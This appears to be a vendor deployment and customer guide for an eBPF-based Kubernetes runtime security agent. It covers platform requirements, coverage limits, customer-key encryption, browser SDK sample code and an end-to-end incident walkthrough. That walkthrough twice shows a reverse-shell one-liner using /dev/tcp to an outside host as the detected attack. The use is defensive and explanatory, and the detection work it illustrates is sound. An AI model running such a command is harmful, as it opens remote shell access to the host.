Tier 3 Deployment & Customer Guide
Overview
Tier 3 (codename EcheDeep) is EchelonGraph's eBPF-based runtime security agent. It runs entirely on your Kubernetes cluster and feeds telemetry to your EchelonGraph SaaS tenant — encrypted with your own keys before it ever leaves your environment.
> Zero-knowledge by design. Raw traffic, process events and runtime findings are encrypted on-host with a per-event Data Encryption Key (DEK), wrapped under your customer-managed KMS key (AWS / GCP / Vault), and shipped as ciphertext. We store ciphertext + indexed metadata only. Without your KMS, we cannot decrypt.
Shipped capabilities (chart 0.6.8 · agent 1.19.8):
- eBPF multi-hook — XDP + TC + tracepoints with a safety scanner; on-node PII auto-stripping (11 default rules) and envelope encryption
- Runtime threat detection — 16 security syscall tracepoints, eBPF-LSM (race-free, MAC-level), file-integrity monitoring, container drift; MITRE ATT&CK-mapped
- Shadow API discovery — HTTP/2, gRPC, GraphQL, WebSocket, TLS-SNI endpoints
- ML anomaly detection — 24h per-namespace baseline + EWMA + 5 rules
- Threat intelligence — abuse.ch URLhaus + Feodo Tracker, CISA KEV, custom STIX 2.1 / TAXII 2.1
- Auto-remediation — 15 IaC patch templates (6 K8s + 9 Terraform), GitHub PR mode, Slack notifications
- Hardware KMS — AWS / GCP / Vault, with async DEK rotation
- Custom compliance frameworks — DORA / NIS2 / CMMC / FedRAMP templates plus your own
- Enterprise packaging — Helm OCI, Grafana dashboard, 11 PrometheusRule alerts, air-gap bundle
- Browser SDK for in-browser ZK decryption (Web Crypto API) — Vault Transit, AWS KMS via a hand-rolled SigV4 signer (~7 KB gzipped), GCP Cloud KMS over REST (~3 KB gzipped)
- Encrypted-Traffic Analysis — JA3 / JA4 fingerprinting (GREASE-filtered per RFC 8701), known-bad C2 and malicious-SNI correlation, fingerprint drift (T1105), beaconing (T1071.001), server-certificate posture (T1573) — from the plaintext TLS handshake, so it needs no decryption and covers every TLS stack, including the runtimes we cannot decrypt
Requirements & Compatibility
Tier 3 is an eBPF agent, so it has hard platform requirements. Check these before planning a pilot — most failed installs are a requirement gap, not a bug.
| Requirement | Detail |
|---|---|
| Operating system | Linux only. Windows and macOS nodes are not supported — eBPF is Linux-specific. |
| CPU architecture | x86-64 / amd64 only. ARM64 (AWS Graviton, ARM-based clusters) is not yet supported. |
| Kernel | 5.10 or newer, with BTF — CONFIG_BPF_SYSCALL, CONFIG_UPROBES, CONFIG_DEBUG_INFO_BTF and the BPF ring buffer. 5.15+ recommended for the full eBPF feature set; validated through kernel 6.17. Kernels below 5.10, or built without BTF, run degraded. |
| BPF filesystem | The host must allow mounting bpffs at /sys/fs/bpf (the chart mounts it for you). |
| eBPF-LSM (optional) | Race-free, MAC-level hooks activate only on nodes booted with lsm=bpf (and CONFIG_BPF_LSM=y). Most managed clusters (GKE / EKS / AKS) don't enable it by default — the agent then runs on syscall tracepoints, the full detection baseline. Additive hardening; no action required. |
| Workload | A DaemonSet (one agent per node) plus a small, unprivileged master Deployment. |
| Host access | hostPID, hostNetwork, and read-only host mounts of /sys, /proc and /sys/fs/bpf. |
| PodSecurity | At least baseline, with privilege escalation permitted (the non-root file-capability model needs it). A fully-restricted namespace cannot run *any* eBPF agent — grant a scoped exception for the agent's namespace. |
| GKE Autopilot | Not supported — it blocks hostNetwork + privileged pods. Deploy on a Standard cluster. |
| Container runtime | containerd or CRI-O — must honor file capabilities. |
| Footprint | ~0.1–0.5 vCPU and 192–512 MiB per node; outbound TLS to one ingest endpoint (or your self-hosted ingester when air-gapped). HTTP / SOCKS5 proxies supported. |
The agent runs non-root (UID 65532) on file capabilities — CAP_BPF, CAP_PERFMON, CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_RESOURCE, CAP_SYS_PTRACE. Root and privileged:true are opt-in fallbacks for restrictive runtimes only.
Coverage limits
| Signal | Status | Limit |
|---|---|---|
| Server-certificate posture | ✅ TLS 1.2 only | TLS 1.3 encrypts the certificate, so there is nothing to read. |
| DNS responses | ❌ | Not captured — the query already carries the signal; responses add little. |
| Decrypted L7 — pure-JSSE / async-SSLEngine Java | ⏳ Roadmap | Java's TLS runs in pure JVM bytecode with no native symbol for eBPF to hook. Full L7 needs a companion JVM agent (planned). Flow + SNI are still captured. |
| Decrypted L7 — NSS (Firefox-family) | ❌ | NSS exposes no TLS-specific native symbol we can hook without *also* lifting non-TLS plaintext — which would break the zero-knowledge promise. Flow + SNI still captured. |
| Decrypted L7 — kernel-TLS (kTLS) offload | ⏳ Roadmap | A separate kernel-side hook; niche (nginx / kernel-bypass setups). Flow + SNI still captured. |
| Fileless, syscall-free in-memory activity | ❌ | If it issues no new syscall, eBPF has nothing to hook. (Fileless *exec* via memfd / execveat is caught.) |
| Same-privilege kernel rootkits below our probes | ❌ | Code that hooks beneath our tracepoints/LSM can hide from any eBPF sensor — an inherent limit of the technology, not this product. |
| Your plaintext, readable by EchelonGraph | ❌ By design | Everything is PII-stripped and encrypted with your KMS key on the node; we store ciphertext only. This is the guarantee, not a gap. |
Known Limitations
We'd rather you know these up front than have them surprise you:
- Encrypted L7 (HTTPS) plaintext capture spans OpenSSL / BoringSSL, GnuTLS, and Go crypto/tls — covering essentially every runtime: C/C++, Python, Node.js, Ruby, PHP and Rust (OpenSSL/BoringSSL), GnuTLS-based tooling, and Go services — client and server, including stripped production binaries (server-side reads via the RET-instruction technique; stripped binaries resolved through .gopclntab). Java using a system-OpenSSL TLS provider (Tomcat-APR, WildFly-OpenSSL) is covered through the same hooks. Still metadata-only — connection + SNI + flow, with full-L7 on the roadmap: pure-JSSE and async-SSLEngine Java (no native symbol to hook — a companion JVM agent is planned), NSS (Firefox-family — no TLS-specific export we can hook without also lifting non-TLS data), and kernel-TLS (kTLS) offload.
- Traffic with no instrumentable TLS library is observed at the flow + SNI level only, by design. We never terminate TLS or hold your keys.
- XDP packet capture records a bounded prefix of each payload. On kernel 5.18+ a frag-aware deep-capture path (bpf_xdp_load_bytes) extends this to mid-size server certificates; older kernels keep the power-of-two prefix and fall back gracefully. Server-certificate posture (ETA) is still TLS 1.2 only (TLS 1.3 encrypts the certificate), and capture is per-packet — a cert/handshake flight larger than one network frame (~1.5 KB) would need TCP reassembly. JA3/JA4 fingerprinting, drift and beaconing are unaffected, since the ClientHello fits the prefix.
- The eBPF-LSM layer (race-free, MAC-level detection) requires lsm=bpf in the node's kernel command line (and CONFIG_BPF_LSM=y) — most managed clusters (GKE / EKS / AKS) don't enable it by default. Without it the agent runs on syscall tracepoints, which is the full detection baseline; the LSM hooks are additive hardening, not a prerequisite.
- Under an extreme syscall burst the bounded per-node event buffer can drop individual events — sustained or repeated activity is reliably detected, but a single one-shot syscall during a saturation spike may be missed.
- Inherent eBPF blind spots: truly syscall-free in-memory activity (fileless exec via memfd / execveat *is* detected), same-privilege kernel rootkits that hook below our probes, and DNS *responses* (queries are captured).
- Fully air-gapped clusters require a self-hosted ingester and won't receive the live public threat-intel feeds unless you mirror them internally.
Zero-Knowledge Architecture
The most-asked question from prospective customers is: *"What can EchelonGraph staff actually read about my workloads?"*
- We see (indexed metadata): tenant, agent, pod, namespace; each finding's rule ID, severity, MITRE ATT&CK technique and confidence score; timestamp and event count; the wrapped DEK; the ciphertext blob.
- We cannot decrypt without your KMS: process command lines, destination IPs and DNS targets, HTTP paths, headers and bodies (PII stripped before encryption), file paths, shell environment variables, TLS SNI hostnames.
Detection runs on your servers, *before* encryption — anomaly engine, process rules, threat-intel matching and shadow API discovery all execute on-host on plaintext, so "is this suspicious?" is answered before anything reaches our cloud. Metadata is enough to route alerts, fill dashboards and score compliance; the payload is unlocked only for investigation, in your analyst's browser. The trade-off: we cannot retroactively re-run detection on old data — that has to happen on your host with a fresh agent version.
How your data stays private — end-to-end
Data is locked the moment it's collected on your servers, only the locked version reaches us, and it is unlocked only inside your analyst's browser — with a key from your encryption service, not from us.
Your encryption service
YOU CONTROLAWS · GCP · VaultIn your cloud account, never EchelonGraph's. Both step 1 (your agent) and step 3 (your analyst's browser) call this service directly to lock and unlock data. We never call it. We never have a copy of the key.
- Your master key NEVER leaves your account
- All locking & unlocking happens in your KMS hardware
- Every unlock is written to your KMS audit log
Your servers
YOU CONTROLEchelonGraph agent runs here
- Watches what's happening on your computers
- Locks each piece of data the moment it's collected
- Calls YOUR encryption service to lock the key — never us
EchelonGraph cloud
ECHELONGRAPH SAASWe only ever see locked data
- Stores locked data plus the alert metadata (when, what type)
- Cannot unlock — we don't have your key
- Even a database breach keeps your data unreadable
Your analyst's browser
YOU CONTROLThe only place data gets unlocked
- Browser unlocks the data key by calling YOUR KMS directly
- The unlock request never passes through EchelonGraph
- Key wiped from browser memory the moment they navigate away
Why we can't read your data, even if we wanted to
Each statement below is independently verifiable — with your cloud provider, your browser's developer tools, or our open-source code.
Your master key never leaves your account
EchelonGraph never has a copy of your encryption key. It stays inside your AWS, GCP, or Vault account — locked in tamper-resistant hardware, like a physical safe.
Backed by
- We only call your encryption service to lock and unlock data — we never receive the key itself
- Your provider's hardware physically prevents the key from being copied out
- Even our own staff would have nothing to leak in a worst-case breach
Decryption happens in your browser, not on our servers
When your analyst clicks "view details", their browser unlocks the data directly. The unlock request goes from their computer straight to your encryption service — it never passes through us.
Backed by
- Your browser → your AWS / GCP / Vault, direct, no proxy
- EchelonGraph is offline during decryption — we don't see the unlocked data
- Your corporate firewall logs will confirm this independently
Even if EchelonGraph vanished, your data stays safe
We only ever store the locked version. If our company shut down tomorrow, what we hold remains permanently unreadable to anyone — including any future buyer, our former employees, or anyone who breaches our database.
Backed by
- We can't be subpoenaed into producing plaintext we don't have
- Court orders against us don't bypass your encryption — they hit a wall
- Built-in compliance with GDPR Art. 25 (data minimisation), DPDP, EU DORA, US CMMC 2.0
Every unlock is recorded in your audit trail
Your cloud provider logs every single time anyone unlocks a piece of your data — including which person unlocked it. The logs always show your team members' names, never EchelonGraph's, because we never make the call.
Backed by
- Logs are written by your provider, not by us — we can't tamper with them
- If our staff ever decrypted your data, the log would prove it (and we'd be in violation)
- Many auditors accept this log as standalone proof of zero-knowledge
The decryption code is open-source — verify it yourself
The exact code that runs in your browser to unlock data is published under Apache 2.0. Any developer on your team can read every line. We've also published 111 automated tests showing what it does.
Backed by
- Tests prove the wire format, the auth flow, and that keys are wiped from memory
- Pull request history shows every change to the security-critical code
- Your team can audit, fork, or replace it without permission from us
How your dashboard calls your KMS to unlock data
The same flow at code level: your auth layer passes an IdP token to the SDK, which calls your KMS directly on "view locked details" — never through EchelonGraph.
How HashiCorp Vault works: Customer signs into Vault via OIDC; dashboard captures the X-Vault-Token and passes it to the SDK.
1. Get a Vault token by signing the user into Vault via your IdP (Okta / Azure AD / Auth0 / Google Workspace) using Vault's OIDC auth method.
// In your dashboard's auth layer
async function getVaultToken(): Promise<string> {
// Your IdP returns an OIDC code for the signed-in user.
// Vault exchanges it for a Vault token.
const oidcCode = await window.myIdP.getOidcCode();
const res = await fetch(
"https://vault.your-company.com/v1/auth/oidc/login",
{ method: "POST", body: JSON.stringify({ code: oidcCode }) }
);
const json = await res.json();
return json.auth.client_token; // valid for ~1 hour by default
}2. Use the token in a dashboard component. The SDK sends it as X-Vault-Token directly to YOUR Vault — no proxy through EchelonGraph.
import { useZkConfig, useZkDecrypt } from "@echelongraph/zkdecrypt";
function FindingDetail({ finding, jwt }) {
const [vaultToken, setVaultToken] = useState<string | null>(null);
useEffect(() => { getVaultToken().then(setVaultToken); }, []);
const { config } = useZkConfig(jwt); // GET /api/v1/zk/config
const { decrypt } = useZkDecrypt(config, {
vaultToken: vaultToken ?? "", // your token, not ours
});
return (
<button onClick={async () => {
const { plaintext } = await decrypt({
envelope: finding.encryptedPayload, // from EchelonGraph API
tenantId: finding.tenantId,
agentId: finding.agentId,
});
// Decryption happened in this browser; plaintext is a Uint8Array
console.log(new TextDecoder().decode(plaintext));
}}>
View locked details
</button>
);
}- Vault token is short-lived — the SDK surfaces 401/403 as kms_auth_failed; re-prompt for OIDC login when you see that
- Your customer's IAM grants Vault Transit decrypt permission on the configured key — check your Vault audit log to see every unlock
For the threat model, what the encrypted envelope contains, and which KMS providers are supported, see /docs/tier3-zk-decryption. The SDK source is open under Apache 2.0 at frontend/src/lib/zkdecrypt/.
A complete incident — end-to-end with realistic data
A production incident at every layer, from eBPF detection to PR-driven auto-remediation. Green boxes are data we read freely; red boxes are data we cannot read at all.
- T+0.000sYour host (worker-3.acme-prod)·eBPF kernel hook
Reverse-shell process spawns inside a production pod
At14:32:07.123 UTC, the gunicorn worker in thecheckout-apideployment forks a new bash process. The eBPF tracepoint hook on the customer's host captures theexecvesystem call and forwards it to the EchelonGraph agent for evaluation.Raw kernel event (only on customer's host)✓ PlaintextPID: 3847 PPID: 3128 (gunicorn) Comm: bash Args: /bin/bash -c "bash -i >& /dev/tcp/198.51.100.74/4444 0>&1" Cwd: /tmp UID: 33 (www-data) Pod: checkout-api-pod-7b9c NS: production Node: worker-3.acme-prodThis data NEVER leaves the host in plaintext. - T+0.012sEchelonGraph agent (Tentacle DaemonSet)·Detection engines run locally
Two detection rules fire on the customer's host
The agent evaluates the event against every Tier 3 detection engine, all running locally on the customer's host with full plaintext access. Two rules match: the process-monitor flags the bash command line as a reverse shell (T3.4), and the threat-intel matcher recognises the destination IP from the abuse.ch / CISA KEV feeds (T3.6).Local detection result (still on host, plaintext)✓ Plaintextrules_matched: [T3.4-PROC-REVERSE-SHELL, T3.6-IOC-MATCH] mitre_technique: T1059.004 (Unix Shell) severity: critical confidence: 0.97 ioc_source: abuse.ch URLhaus + CISA KEV finding_id: f-9d4e2a17 event_count: 1Detection logic runs in-process on the host. By this point the verdict is already final — EchelonGraph cloud never participates in detection. - T+0.018sEchelonGraph agent·Encrypt + ship
Agent locks the sensitive payload before shipping
The agent generates a fresh 32-byte data key (DEK), AES-256-GCM encrypts the sensitive details (command line, file paths, destination IP, etc.), and asks the customer's KMS to wrap the DEK. The wrapped DEK plus ciphertext are bundled with the plaintext metadata and shipped over TLS 1.3 gRPC.Plaintext metadata sent to EchelonGraph✓ Plaintext{ "tenant_id": "acme-corp", "agent_id": "tentacle-worker-3", "rule_id": "T3.4-PROC-REVERSE-SHELL", "severity": "critical", "mitre_technique": "T1059.004", "ts": "2026-05-07T14:32:07.123Z", "pod": "checkout-api-pod-7b9c", "namespace": "production", "confidence": 0.97, "ioc_match": "T3.6-IOC-MATCH", "event_count": 1 }EchelonGraph reads this freely — it's how alerts get routed.Encrypted payload (locked with the customer's KMS)🔒 We CANNOT readnonce (12 bytes hex): a3f2e1c509bb47c1d4e832af ciphertext (245 bytes b64): kJh3T9xQ4Z2wL1vPdR8mN0yQp7Vk sB8xJq2fT5rY3wHmN9pK4tA0iL6e ... (truncated, 245 bytes total) AEAD tag (16 bytes hex): e1f8d3c4b29a5e6708d2f4a1 wrapped-DEK (KMS blob): AQECAHj8H5jK4Z9wL...Without the customer's KMS key, this is just random bytes — even our own DBA can't reconstruct the command line. - T+0.450sEchelonGraph cloud·Ingester → CloudSQL + ClickHouse
EchelonGraph stores the row — ciphertext stays opaque to us
The Ingester validates the wire format, writes the metadata columns to Postgres for the alert layer to query, and pushes the ciphertext + wrapped-DEK to ClickHouse with a 90-day retention TTL. We index every metadata field for routing, compliance reporting, and dashboard queries.Stored row (what an EchelonGraph engineer can SELECT)✓ Plaintexttenant_id | acme-corp rule_id | T3.4-PROC-REVERSE-SHELL severity | critical mitre_technique | T1059.004 ts | 2026-05-07 14:32:07.123 pod | checkout-api-pod-7b9c namespace | production confidence | 0.97 ioc_match | T3.6-IOC-MATCH encrypted_payload | \xa3f2e1c509bb...e1f8d3c4 ← unreadable wrapped_dek | \xAQECAHj8H5jK4Z9wL... ← unreadableOur staff can run analytics on metadata. The two unreadable columns are what protects you. - T+0.620sEchelonGraph alert manager·Slack / PagerDuty / webhook routing
Alert fires — built entirely from plaintext metadata
A pre-configured rule (“CRITICAL severity in production namespace”) matches. Alert manager builds a Slack message using the metadata fields only and POSTs it to the customer's Slack webhook. The encrypted payload is not touched.Slack message that fires in #soc-prod-alerts✓ Plaintext🚨 CRITICAL: Reverse shell in production Tenant: acme-corp · Pod: checkout-api-pod-7b9c Namespace: production · Confidence: 97% MITRE: T1059.004 (Unix Shell) IOC match: known C2 from abuse.ch URLhaus Time: 2026-05-07 14:32:07 UTC [Investigate ↗] [Acknowledge] [Auto-remediate]The Slack message has zero plaintext details from the encrypted payload. Routing works fine without us reading anything. - T+27sAlice (SOC analyst)·Opens app.echelongraph.io/findings/f-9d4e2a17
Analyst opens the dashboard from the Slack alert
Alice clicks [Investigate ↗] in Slack. Her browser navigates toapp.echelongraph.io, the SPA loads, the dashboard fetches the finding. The metadata renders immediately — but the “What process ran?”, “Where did it connect?”, and “Full command-line” sections show a 🔒 Locked — click to unlock placeholder. - T+30sBrowser SDK (frontend/src/lib/zkdecrypt)·Calls Alice's Vault DIRECTLY
Browser unlocks the data key via Vault — bypasses EchelonGraph
Alice clicks “view locked details”. Her browser already has a Vault token from this morning's OIDC sign-in (cached insessionStorage). The SDK POSTs the wrapped DEK tovault.acme.comdirectly. Vault unwraps it inside its HSM and returns the plaintext DEK. The SDK runs AES-GCM decrypt in the browser using Web Crypto API. Plaintext renders.zeroBytes(DEK)wipes the key from JS heap.Browser → Vault POST (visible in DevTools Network tab)🔐 Customer's KMSPOST https://vault.acme.com/v1/transit/decrypt/echelongraph X-Vault-Token: hvs.CAESI... ← Alice's OIDC-derived token Content-Type: application/json { "ciphertext": "vault:v1:AQECAHj8H5jK4Z9wL..." ← wrapped DEK } ← Response from Vault: { "data": { "plaintext": "kJh3T9xQ4Z2wL1vPdR8mN0y..." } }Open Alice's DevTools Network tab and you'll see this exact request going to vault.acme.com — NOT to echelongraph.io.Plaintext rendered in Alice's browser (and only there)✓ PlaintextProcess command line: /bin/bash -c "bash -i >& /dev/tcp/198.51.100.74/4444 0>&1" Working directory: /tmp UID: 33 (www-data) — gunicorn's own user, no privilege escalation PID: 3847 · Parent: gunicorn (PID 3128) Destination: 198.51.100.74:4444 IOC source: abuse.ch URLhaus First seen: 2026-04-22 — known C2 for "RedShell" toolkitThis text exists only in Alice's browser tab memory. When she navigates away, dispose() wipes it. - T+30.5sAcme's Vault audit log·Records the unlock with caller identity
Vault writes an audit-log entry — proving Alice unlocked it, not us
Vault's audit log records everyDecryptcall with the caller's federated identity. Acme's SOC team (or external auditor) can grep this log to confirm that EchelonGraph staff have never made a decrypt call against their key.Acme's Vault audit log (their copy, written by their Vault)📜 Customer's log2026-05-07 14:32:37 UTC — vault.transit.decrypt caller_id: [email protected] auth_method: oidc/okta key_name: echelongraph success: true request_id: 7c45-ab12-9e30-4f15 remote_addr: 203.0.113.45 (Alice's office IP)The caller_id is Alice's IdP identity — never an EchelonGraph staff identity, because we never make the call. - T+45sAuto-remediation engine (T3.7)·Generates IaC patch + opens GitHub PR
Alice triggers auto-remediation — a NetworkPolicy PR opens
Alice clicks Auto-remediate. The remediation engine selects the K8s NetworkPolicy template (matching the finding's category), substitutes the offending pod labels, and opens a GitHub PR inacme-corp/infra-iac. Alice (admin role) clicks Merge → ArgoCD applies the policy → the compromised pod loses egress in < 60 seconds.Auto-generated NetworkPolicy (committed to acme-corp/infra-iac)✓ PlaintextapiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-egress-checkout-api-incident-f9d4e2a17 namespace: production annotations: echelongraph.io/finding: f-9d4e2a17 echelongraph.io/rule: T3.4-PROC-REVERSE-SHELL spec: podSelector: matchLabels: app: checkout-api policyTypes: [Egress] egress: [] # deny all outbound trafficPR opened by github-app/echelongraph-bot · approved by [email protected] · merged at 14:33:41 · ArgoCD synced at 14:34:09.
Detection ran on Acme's host (T+0 to T+18 ms). Encryption + ship took ~430 ms over TLS 1.3 gRPC. Alert routed to Slack 620 ms after the kernel event. Alice opened the dashboard, unlocked the encrypted payload via her own Vault, triggered remediation, and had the compromised pod isolated within a minute. Throughout the entire incident, EchelonGraph never read the bash command line, the destination IP, or any other detail of the actual exploit— only the metadata needed to route the alert. Acme's Vault audit log proves it: every Decrypt call shows [email protected] as the caller, never an EchelonGraph identity.
Two decryption paths. The open-source browser SDK unwraps each event's DEK straight from your Vault Transit, AWS KMS (SigV4 + Cognito / STS federation) or GCP Cloud KMS after an OIDC sign-in; a Go SDK does the same for SOC pipelines and SIEM forwarders. Both share one envelope format — see Tier 3 ZK decryption. Stored payloads are AES-256-GCM ciphertext: with full read access to our database, neither an attacker nor an EchelonGraph employee can reconstruct the event.
Ownership and pricing
You bring the cluster, a customer-managed KMS key with its IAM policy or Vault token, agent upgrades, your custom frameworks, and admin approval of remediation patches; we run the dashboard, ingest, storage and the threat-intel feeds the agent pulls every 6h. Nothing to train — the 24h baseline is unsupervised; no rules to author for the basics — 30+ ship out of the box; no new on-call — alerts route to your existing PagerDuty / Slack / email.
Tier 3 ships with the Enterprise plan at flat annual pricing — never per-node or per-event, so cluster growth and traffic spikes never change your bill. Community, Team and Pro cover Tier 1 (agentless cloud) and Tier 2 (network + container); Enterprise adds AWS/GCP/Vault KMS BYOK, zero-knowledge encryption, air-gapped install, a dedicated SaaS region, 730-day retention + archive and a custom SLA — see the plans page. BYOK encryption and auto-remediation are included, not paid add-ons, unlike Sysdig's "private cloud" SKUs ($50K+) or the per-image / per-workload metering from Aqua and Wiz.
Security comparison
| Capability | Tier 3 | Sysdig | Aqua | Falco | Wiz |
|---|---|---|---|---|---|
| Zero-knowledge data plane (BYOK encryption) | ✓ | ✗ | ✗ | ✗ | ✗ |
| Kernel-level eBPF telemetry | ✓ | ✓ | ✓ | ✓ | ✓ (sensor) |
| Process monitoring + reverse-shell detection | ✓ | ✓ | ✓ | ✓ | ✓ |
| Network anomaly detection (ML-statistical) | ✓ | ✓ | ✗ | ✗ | ✓ |
| Custom compliance framework builder | ✓ | ✗ | partial | ✗ | partial |
| Auto-remediation IaC PR generation | ✓ | ✗ | ✗ | ✗ | ✗ |
| Air-gapped mode (no phone-home) | ✓ | partial | ✓ | ✓ | ✗ |
| AWS / GCP / Vault KMS integration | ✓ | ✗ | partial | ✗ | ✗ |
| Per-tenant suppression rules | ✓ | ✗ | ✗ | ✗ | ✗ |
| Threat-intel: STIX 2.1 + TAXII 2.1 native | ✓ | partial | ✗ | ✗ | partial |
| MITRE ATT&CK auto-tagging | ✓ | ✓ | ✓ | partial | ✓ |
| EU GDPR / DPDP Article-25 by design | ✓ | partial | partial | ✗ | partial |
| Open-source customer SDK (zkdecrypt) | ✓ | ✗ | ✗ | ✓ (rule lang) | ✗ |
Confidence checklist for security review
- [ ] eBPF verifier compliance — every program loads via cilium/ebpf with the kernel verifier; anything failing validation is rejected at load time.
- [ ] Unprivileged by default — a least-privilege capability set, not a fully-privileged container (full privilege is an opt-in escape hatch for restrictive kernels). The agent's only host-filesystem write is its own state directory; hostNetwork + hostPID are what eBPF tracing requires.
- [ ] Customer-managed encryption keys — per-event DEK wrapped by your KEK, in the KMS you choose.
- [ ] Open-source SDK — zkdecrypt is the canonical decryption path; auditable Go.
- [ ] No outbound from the agent beyond the single ingest endpoint; air-gapped mode disables even that.
- [ ] License feature flags — every paid feature gated behind a signed license claim; rotation supported.
- [ ] Open-source threat-intel feeds — abuse.ch + CISA KEV are public; the agent never sends *your* findings upstream.
- [ ] Audit log for every admin-grade action (remediation approve, framework publish, agent enrollment).
On uninstall the agent self-zeroes its DEK. Wrapped DEKs in our backend remain (we can't decrypt them anyway); a tenant deletion request removes the ciphertext rows.
Next step
A deployment call covers what depends on your environment: enrollment and install, KMS setup for your provider, the air-gap bundle, and a read on your kernel and PodSecurity posture against the matrix above.